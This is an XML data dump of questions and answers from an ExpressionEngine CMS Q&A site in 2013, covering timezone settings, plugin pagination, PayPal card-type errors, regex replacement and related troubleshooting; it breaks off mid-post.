  <row Id="10918" PostTypeId="2" ParentId="10915" CreationDate="2013-06-02T16:38:21.573" Score="1" Body="&lt;p&gt;Well... Append &quot;?id=74&amp;amp;name=product-name&quot; is what the line 6 of your code does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rewriterule ^(.*)/(.*)\.html$ product.php?id=$1&amp;amp;name=$2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-02T16:38:21.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10919" PostTypeId="1" AcceptedAnswerId="10920" CreationDate="2013-06-02T17:04:04.507" Score="3" ViewCount="893" Body="&lt;p&gt;Presuming alternating DST is no longer an issue, I'm confused about the new change. It seems there is now only one configuration option but that is just for the server's time zone:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This setting lets you specify the time zone where your server is located.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And they give a clear warning if you just put whatever you feel like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you do not set this preference so that it correctly reflects the location of your server it may cause problems with your dates and times. If you are not sure where you server is located please ask your hosting provider.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExpressionEngine User Guide: Localization Settings -&gt; Server Time Zone&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So what if we want the system to go by a different timezone setting, e.g. my server is in GMT, but my members, activities, etc. are primarily in New York (GMT-5)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the config settings for this now? There seems to be a new setting, &quot;&lt;code&gt;time_reference&lt;/code&gt;&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Master Time Reference&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Options are &quot;local&quot; or &quot;gmt&quot;.  This pref tells the system whether to use&#xA;| your server's local time as the master &quot;now&quot; reference, or convert it to&#xA;| GMT.  See the &quot;date helper&quot; page of the user guide for information&#xA;| regarding date handling.&#xA;|&#xA;*/&#xA;$config['time_reference'] = 'local';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do we set a different default timezone for the site? Are one of the old configs still used for that? Can't seem to get it straight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions pre 2.6:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1984/forcing-dst-settings-for-users&quot;&gt;Forcing DST settings for users&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/92/how-are-we-supposed-to-manage-time-and-respect-localization-dst-in-ee&quot;&gt;How are we supposed to manage time and respect localization/DST in EE?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-06T20:39:05.247" Title="In EE 2.6 how do we set different localization/timezone site-wide than the server's timezone?" Tags="|dst|localization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10920" PostTypeId="2" ParentId="10919" CreationDate="2013-06-02T17:38:46.330" Score="2" Body="&lt;p&gt;For the values of the timezone variables below you can use both &lt;a href=&quot;http://php.net/manual/en/timezones.php&quot; rel=&quot;nofollow&quot;&gt;PHP timezones&lt;/a&gt; (e.g. &lt;code&gt;America/New_York&lt;/code&gt;) and &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/date_helper.html&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter Timezones&lt;/a&gt; (e.g. &lt;code&gt;UM5&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through some &lt;a href=&quot;https://gist.github.com/notacouch/5716514&quot; rel=&quot;nofollow&quot;&gt;tests&lt;/a&gt; (using &lt;code&gt;print_r($this-&amp;gt;EE-&amp;gt;config-&amp;gt;config);&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['server_timezone']&lt;/code&gt; is for your server's timezone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['default_site_timezone']&lt;/code&gt; is for your site purposes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you choose on CP Home &gt; Administration &gt; Localization Settings sets  &lt;code&gt;$config['server_timezone']&lt;/code&gt; with a PHP Timezone. &lt;code&gt;$config['default_site_timezone']&lt;/code&gt; remains empty, if it is not manually set in your config.php or bootstrap then the value of &lt;code&gt;$config['server_timezone']&lt;/code&gt; will be used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this writing (EE 2.6.1) you &lt;strong&gt;must&lt;/strong&gt; manually set &lt;code&gt;$config['default_site_timezone']&lt;/code&gt; to a CodeIgniter Timezone because for date entry fields their &lt;code&gt;field_dt_#&lt;/code&gt; column in the database can only accept up to 8 characters, meaning the PHP Timezone in &lt;code&gt;$config['server_timezone']&lt;/code&gt; will not be properly saved and thus changing the value in your date entry fields every time you save it as &lt;code&gt;Fixed&lt;/code&gt;. You can also save &lt;code&gt;$config['server_timezone']&lt;/code&gt; as a CI value and be done with it if your site and server timezones are the same, however, the select dropdowns on the Localization Settings page will not reflect your settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new config is added, too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tz_country']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is not clear what this does asides from help populate the dropdown.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="61" LastEditDate="2013-06-06T20:39:05.247" LastActivityDate="2013-06-06T20:39:05.247" CommentCount="7" CommunityOwnedDate="2013-06-02T17:38:46.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostTypeId="1" CreationDate="2013-06-02T18:45:02.717" Score="1" ViewCount="143" Body="&lt;p&gt;I am creating a plugin in which I select data from a table from other database, outside EE. Now to display the result in EE template, I have to traverse through records and create HTML within the plugin and assign that to a variable, that I return to the Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to simply return the recordset to the template, and then use template to show the records, and also show the pagination? Pagination is a big issue for such cases.&lt;/p&gt;&#xA;" OwnerUserId="887" LastActivityDate="2013-06-03T17:41:41.087" Title="Paginating Recordset from Plugin to Template, How?" Tags="|ee2|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10922" PostTypeId="1" CreationDate="2013-06-02T21:52:38.127" Score="2" ViewCount="242" Body="&lt;p&gt;I have a problem with Firefox (Mac version 21.0), Expression Engine (Core, version 2.6.1) Relationships, and getting the title_permalink of the related entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel 'Teasers' with a field teaser_event which is a relationship (single) to channels 'Other Event' and 'Random Event'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template (trimmed, but still exhibiting the bug) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;  &amp;lt;title&amp;gt;Test&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  {exp:channel:entries channel=&quot;teaser&quot;}&#xA;    {teaser_event:title_permalink='site/event'}&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error I get in firefox is 'Content Encoding Error - The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine in Safari and Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the &lt;em&gt;='site/event'&lt;/em&gt; from the title_permalink tag, then it works in firefox as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is running locally. Version info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ httpd -v&#xA;Server version: Apache/2.2.22 (Unix)&#xA;Server built:   Jul 12 2012 15:09:37&#xA;$ php --version&#xA;PHP 5.3.15 (cli) (built: Jul 31 2012 18:42:11) &#xA;Copyright (c) 1997-2012 The PHP Group&#xA;Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies&#xA;$ mysql --version&#xA;mysql  Ver 14.14 Distrib 5.5.10, for osx10.6 (i386) using readline 5.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2013-06-02T21:52:38.127" Title="title_permalink of related entry =&gt; firefox Content Encoding Error" Tags="|ee2|relationships|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10923" PostTypeId="2" ParentId="10921" CreationDate="2013-06-03T08:40:32.490" Score="1" Body="&lt;p&gt;Instead of creating the HTML in the plugin, you should use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;Template Class&lt;/a&gt; for outputting the database results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for Creating Pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = 300;//Set from your recordset total&#xA;$per_page = 30;//how many records you want to show per page&#xA;$base_url = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['base_url'].'/'.$this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(1);//The url for the listing that EE will use for the pagination links&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;$config['base_url'] = $base_url;&#xA;$config['total_rows'] = $total;&#xA;$config['per_page'] = $per_page;&#xA;$config['num_links'] = 3;&#xA;$config['uri_segment'] = 4;&#xA;$config['first_link'] = '1';&#xA;$config['first_tag_open'] = '&amp;lt;div class=&quot;pag-first&quot;&amp;gt;';&#xA;$config['first_tag_close'] = '&amp;lt;/div&amp;gt;';&#xA;$config['next_tag_open'] = '';&#xA;$config['next_tag_close'] = '';&#xA;$config['num_tag_open'] = '';&#xA;$config['cur_tag_open'] = '&amp;lt;strong&amp;gt;';&#xA;$config['prev_tag_open'] = '';&#xA;$config['last_link'] = ceil($total/$per_page);&#xA;$config['last_tag_open'] = '&amp;lt;div class=&quot;pag-last&quot;&amp;gt;';&#xA;$config['last_tag_close'] = '&amp;lt;/div&amp;gt;';&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;initialize($config);&#xA;&#xA;$myPagination = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create_links();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&#xA;About halfway down the page shows an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you haven't already sorted the listing itself (from the recordset), you want a tag pair in your plugin utilising $this-&gt;EE-&gt;TMPL-&gt;tagdata. You need an array of the data, the following example will contain stuff you don't need!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I've got a response from an external database returned as an object called &quot;Products&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = $products-&amp;gt;hits-&amp;gt;total;&#xA;if (empty($total) || empty($products-&amp;gt;hits-&amp;gt;hits))&#xA;    return;&#xA;&#xA;$productOutput = array();&#xA;foreach($products-&amp;gt;hits-&amp;gt;hits as $key =&amp;gt; $product) {&#xA;    $productDetails = array(&#xA;        &quot;id&quot;                =&amp;gt; $product-&amp;gt;_id,&#xA;        &quot;name&quot;              =&amp;gt; ucfirst(stripslashes(strtolower($this-&amp;gt;truncate($product-&amp;gt;_source-&amp;gt;name, $name_truncation)))),&#xA;        &quot;url&quot;               =&amp;gt; $product-&amp;gt;_source-&amp;gt;friendly_url,&#xA;        &quot;price&quot;             =&amp;gt; $product-&amp;gt;_source-&amp;gt;price,&#xA;        &quot;original_price&quot;    =&amp;gt; $product-&amp;gt;_source-&amp;gt;original_price&#xA;    );&#xA;    $productOutput[] = $productDetails;&#xA;} //###   end of foreach   ###&#xA;&#xA;$outputVars[&quot;pagination&quot;] = $myPagination;&#xA;$outputVars[&quot;products&quot;] = $productOutput;&#xA;$output = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, array($outputVars));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: You will have to restrict the data set to what you want to appear. So I'd suggest you do 2 queries to your external Database - one to get the total results only, the other to get a portion of the results that you need to display (to keep query speed down). To get the current page (basically calculate the offset you can get the relevant segment, e.g. &lt;code&gt;$this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(5, 0);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above code will loop through your plugin once (note the &lt;code&gt;array($outputVars)&lt;/code&gt;). Within your plugin tags, you'll need &lt;code&gt;{pagination}&lt;/code&gt; tag to output the pagination wherever you want in the template. And you'll need the &lt;code&gt;{products} ... {/products}&lt;/code&gt; tag pairs to output the data recordset - which will loop for the amount you want shown.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-06-03T17:41:41.087" LastActivityDate="2013-06-03T17:41:41.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10924" PostTypeId="1" CreationDate="2013-06-03T09:21:45.837" Score="0" ViewCount="83" Body="&lt;p&gt;For a field I am using PlayA and for the Field Options have selected two Channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that some of the titles within the two channels are the same and therefore when adding a new EE record it is impossible to tell from which of the two channels a particular title is from. Is there a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing that as I am ordering by Entry Title, the first entry will be from the first channel and the second entry will be from the second, but I do not know if I can be certain of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious solution of changing the titles in one of the channels is not an option for this particular web site.&lt;/p&gt;&#xA;" OwnerUserId="1594" LastActivityDate="2013-06-03T11:56:58.180" Title="Distinguishing duplicate channel titles in a PlayA field when adding a record" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10927" PostTypeId="2" ParentId="10924" CreationDate="2013-06-03T11:50:48.957" Score="1" Body="&lt;p&gt;There is a hack in this thread may point you in a direction: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1529/filter-playa-list-by-custom-field&quot;&gt;Filter Playa List by Custom Field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like it may not play well with the ajax filtering however.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-03T11:50:48.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10928" PostTypeId="2" ParentId="10924" CreationDate="2013-06-03T11:56:58.180" Score="0" Body="&lt;p&gt;I've had this problem before. Until Playa adds an inline &quot;filter by channel&quot; option within the playa fieldtype (something I would LOVE to see down the line), mirroring &quot;filter by category&quot;, the latter is in fact an easy workaround.  When I face this same challenge, I'll often create a category group that has a category per channel, and assign that category group to each of the channels in question. Then when creating an entry in each channel, I also assign the entry to the category that matches the channel - purely for filtering via the Playa field. Not ideal by any means, but in a pinch, it works, but makes two assumptions: (a) that the channels in question are not already clogged with category group assignments and (b) that the admin will remember to assign the categories in the entry screen (there are add-ons to make the category assignment a little more noticeable than they would otherwise be on the category tab, making them harder to overlook).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as with your Playa field you don't limit the selections to those categories, the filters work great (meaning, if a category assignment is forgotten, the entry still shows in the list when a category filter is NOT applied, just in case).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-03T11:56:58.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10929" PostTypeId="2" ParentId="10917" CreationDate="2013-06-03T12:12:08.090" Score="1" Body="&lt;p&gt;Do you have any errors in the console? It's usually the case that jQuery is being included twice on the same page. Be sure to use the include_jquery=&quot;no&quot; parameter and have your own jQuery included before any Safecracker code.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-03T12:12:08.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10930" PostTypeId="1" CreationDate="2013-05-15T08:31:35.580" Score="1" ViewCount="1169" Body="&lt;p&gt;I'm using Expression Engine's exp-resso store plugin for our ecommerce store.  I've set it up to use PayPal Pro as our on site payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When submitting my form I receive this error &quot;CreditCardType : Invalid Parameter&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?  Wouldn't the card type be set automatically depending on the card number?  Do I need to explicitly place a select with card type options?  Here's my current form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; name=&quot;payment[card_no]&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; name=&quot;payment[name]&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;select id=&quot;payment_exp_month&quot; name=&quot;payment[exp_month]&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;01&quot;&amp;gt;01&amp;lt;/option&amp;gt;&#xA;    etc...&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;select id=&quot;payment_exp_year&quot; name=&quot;payment[exp_year]&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2013&quot;&amp;gt;2013&amp;lt;/option&amp;gt;&#xA;    etc...&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; name=&quot;payment[csc]&quot; value=&quot;&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;checkout_submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerDisplayName="user1174729" LastEditorUserId="422" LastEditDate="2013-06-03T13:01:12.047" LastActivityDate="2013-06-03T13:01:12.047" Title="PayPal Pro CreditCardType : Invalid Parameter" Tags="|expresso-store|ecommerce|paypal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10931" PostTypeId="2" ParentId="10930" CreationDate="2013-05-15T14:47:14.223" Score="0" Body="&lt;p&gt;This variable should be optional per the developers guide.  Which API call are you specifically using, I am assuming the DoDirectPayment API.  Also are you testing this against the live site or the sandbox?  Look at your raw request that you are sending out, the only other thing I can think of is that your cart is passing over the variable &quot;CREDITCARDTYPE&quot; but setting the value to &quot;null&quot; since you are not populating it which can cause the error.&lt;/p&gt;&#xA;" OwnerDisplayName="PP_MTS_Chad" LastActivityDate="2013-05-15T14:47:14.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10932" PostTypeId="2" ParentId="10930" CreationDate="2013-06-03T13:00:58.813" Score="1" Body="&lt;p&gt;You also need to include the card type when sending the information over to Paypal. This needs to be templated as a select menu. Use this as a starting point and remove any card types which you don't accept:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[card_type]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select one...&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;visa&quot;&amp;gt;Visa&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;mastercard&quot;&amp;gt;MasterCard&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;amex&quot;&amp;gt;American Express&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;discover&quot;&amp;gt;Discover&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;maestro&quot;&amp;gt;Maestro (UK)&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;solo&quot;&amp;gt;Solo (UK)&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that's included and sent across in the submission it should solve the error.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-03T13:00:58.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10934" PostTypeId="1" CreationDate="2013-06-03T13:17:39.177" Score="1" ViewCount="106" Body="&lt;p&gt;I'm looking to strip some html from an img area with Low replace. This works great, but I have varying heights and widths to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;height=QUOTE365QUOTE|width=QUOTE500QUOTE&quot; replace=&quot;SPACE&quot; multiple=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ideally wants to be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;height=QUOTE___QUOTE|width=QUOTE___QUOTE&quot; replace=&quot;SPACE&quot; multiple=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what should I put in the &lt;em&gt;_&lt;/em&gt; bit for any number value? Possible?&lt;/p&gt;&#xA;" OwnerUserId="1596" LastActivityDate="2013-06-03T13:59:14.153" Title="Low Replace almost the same html" Tags="|low-replace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostTypeId="2" ParentId="10934" CreationDate="2013-06-03T13:59:14.153" Score="2" Body="&lt;p&gt;You, my friend, need to learn the ways of Regular Expressions. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace&#xA;    find=&quot;(height|width)=QUOTE\d+QUOTE&quot;&#xA;    replace=&quot;SPACE&quot;&#xA;    regex=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-06-03T13:59:14.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10938" PostTypeId="1" AcceptedAnswerId="10940" CreationDate="2013-06-03T14:05:04.047" Score="0" ViewCount="131" Body="&lt;p&gt;I'm building a small plugin for EE and I need to retrieve the name of the database. ( specified in config &gt; database.php )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't seem to find any docs that point me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-06-03T17:16:25.117" Title="retrieve the database name in an extension" Tags="|ee2|add-on-development|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10939" PostTypeId="2" ParentId="8922" CreationDate="2013-06-03T14:16:25.220" Score="2" Body="&lt;p&gt;Just started a repo on Github for a multilingual text fieldtype I'm working on which could help you out, or at least give you some more options : &lt;a href=&quot;https://github.com/pseudoclass/babeltext&quot; rel=&quot;nofollow&quot;&gt;Babeltext&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-06-03T14:16:25.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostTypeId="2" ParentId="10938" CreationDate="2013-06-03T14:21:45.213" Score="2" Body="&lt;p&gt;The docs say that &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;Database Class is initialized automatically&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A var_dump(ee()-&gt;db) show us that the name of database can be retrieved by, on EECMS 2.6+:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on EECMS 2.5.5-:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-06-03T17:16:25.117" LastActivityDate="2013-06-03T17:16:25.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10941" PostTypeId="1" CreationDate="2013-06-03T15:06:23.473" Score="2" ViewCount="118" Body="&lt;p&gt;Assets looks a bit wonky in a Safecracker form. See attached image. The image container gets calculated wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPwhD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a different CSS file I have to reference when using Assets as a Safecracker field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;      &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;      &amp;lt;title&amp;gt;test&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    {exp:safecracker channel=&quot;items&quot; return=&quot;add/next&quot;}&#xA;    {field:item_temporary_photos}&#xA;    {/exp:safecracker}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1 / Assets 2.1.3&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorUserId="779" LastEditDate="2013-06-04T08:35:18.070" LastActivityDate="2013-06-04T08:35:18.070" Title="Assets CSS with Safecracker" Tags="|assets|safecracker|css|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10942" PostTypeId="1" AcceptedAnswerId="10954" CreationDate="2013-06-03T15:58:42.777" Score="1" ViewCount="131" Body="&lt;p&gt;I was wondering what is the best way to allow users to add coupons to CartThorb? Does CartThorb allow coupons to be added from templates, if not where should I start from to enable this functionality? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize the question is vague, so I don't expect concrete answers, anything to point me into the right direction will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate it.  &lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2013-12-04T20:11:48.433" Title="Allow users to add coupons to CartThorb" Tags="|cartthrob|extension|coupon-code|discounts|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10943" PostTypeId="2" ParentId="10855" CreationDate="2013-06-03T16:15:08.423" Score="1" Body="&lt;p&gt;The issue appear to be with a video embed in the Wygwam field. Adobe is registering the SWF file as an unsafe operation and that's causing the editor window to stop loading.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2013-06-03T16:15:08.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10944" PostTypeId="1" AcceptedAnswerId="10953" CreationDate="2013-06-03T17:07:07.407" Score="0" ViewCount="45" Body="&lt;p&gt;I updated a client site today from 2.5.5 to 2.6.1 which automatically converted the related entries tag on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I now have a new problem. For some reason the code is displaying on the &lt;a href=&quot;http://corecubed.com/blog&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Author {related_entries id=&quot;blog_author&quot;} The Great Keyword Hunt: How&#xA;  to Know What SEO Keywords Your Business Should Target&#xA;  {/related_entries}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;{blog_author}&#xA;                        {if status == &quot;open&quot;}&amp;lt;a href=&quot;{blog_author:title_permalink=/about/bio}&quot;&amp;gt;{blog_author:title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{blog_author:staff_title}{/if}&#xA;                        {if status == &quot;closed&quot;}&amp;lt;a 